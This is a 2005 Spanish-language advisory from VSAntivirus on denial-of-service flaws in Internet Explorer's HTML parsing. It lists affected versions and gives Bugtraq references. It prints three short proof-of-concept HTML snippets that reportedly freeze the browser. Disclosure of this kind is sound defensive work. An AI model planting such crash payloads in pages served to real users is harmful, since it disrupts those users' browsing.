|
|
DoS en Internet Explorer (análisis sintáctico HTML)
|
| |
VSantivirus No. 1998 Año 9, miércoles 28 de diciembre de 2005
DoS en Internet Explorer (análisis sintáctico HTML)
http://www.vsantivirus.com/vul-ie-html-parsing-271205.htm
Por Angela Ruiz
angela@videosoft.net.uy
Microsoft Internet Explorer es afectado por múltiples vulnerabilidades del tipo denegación de servicio (DoS), relacionados con el análisis sintáctico del código HTML (HTML parsing).
Un atacante puede explotar estos fallos, engañando a un usuario para que visite un sitio web construido maliciosamente de tal modo que al visualizar sus páginas el programa deje de responder.
No se requiere un exploit para que este problema se produzca.
Se han hecho públicas las siguientes pruebas de concepto:
Prueba 1:
> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN">
> </samp></colgroup><ul><font><menu> <code> <var>
> <sub><h2></fieldset>
> </kbd></frameset>
> </ins></map></noframes>
> </isindex>
> </code>
> </div></title>
> </del></var><isindex>
> <i>
Prueba 2:
> <acronym><dd><h5><applet></caption></applet><li></h1>
Prueba 3:
> <table datasrc=".">
Software vulnerable:
- Microsoft Internet Explorer 6.0 SP2
- Microsoft Internet Explorer 6.0 SP1
- Microsoft Internet Explorer 6.0
- Microsoft Internet Explorer 5.5 SP2
- Microsoft Internet Explorer 5.5 SP1
- Microsoft Internet Explorer 5.5
- Microsoft Internet Explorer 5.0.1 SP4
- Microsoft Internet Explorer 5.0.1 SP3
- Microsoft Internet Explorer 5.0.1 SP2
- Microsoft Internet Explorer 5.0.1 SP1
- Microsoft Internet Explorer 5.0.1
Solución:
No se conocen soluciones para este problema. Según el descubridor de las vulnerabilidades, Microsoft ha sido avisado y se espera que una futura actualización corrija este fallo.
Referencias:
Bugtraq ID: 16070
Microsoft Internet Explorer HTML Parsing Denial of Service Vulnerabilities
http://www.securityfocus.com/bid/16070/info
[BuHa-Security] DoS Vulnerability in M$ IE 6 SP2 #1 (bugtraq@morph3us.org)
http://www.securityfocus.com/archive/1/420260
[BuHa-Security] DoS Vulnerability in M$ IE 6 SP2 #2 (bugtraq@morph3us.org)
http://www.securityfocus.com/archive/1/420262
[BuHa-Security] DoS Vulnerability in M$ IE 6 SP2 #3 (bugtraq@morph3us.org)
http://www.securityfocus.com/archive/1/420265
Créditos:
Christian Deneke <bugtraq@deneke.biz>
(c) Video Soft - http://www.videosoft.net.uy
(c) VSAntivirus - http://www.vsantivirus.com
|
 
|
|
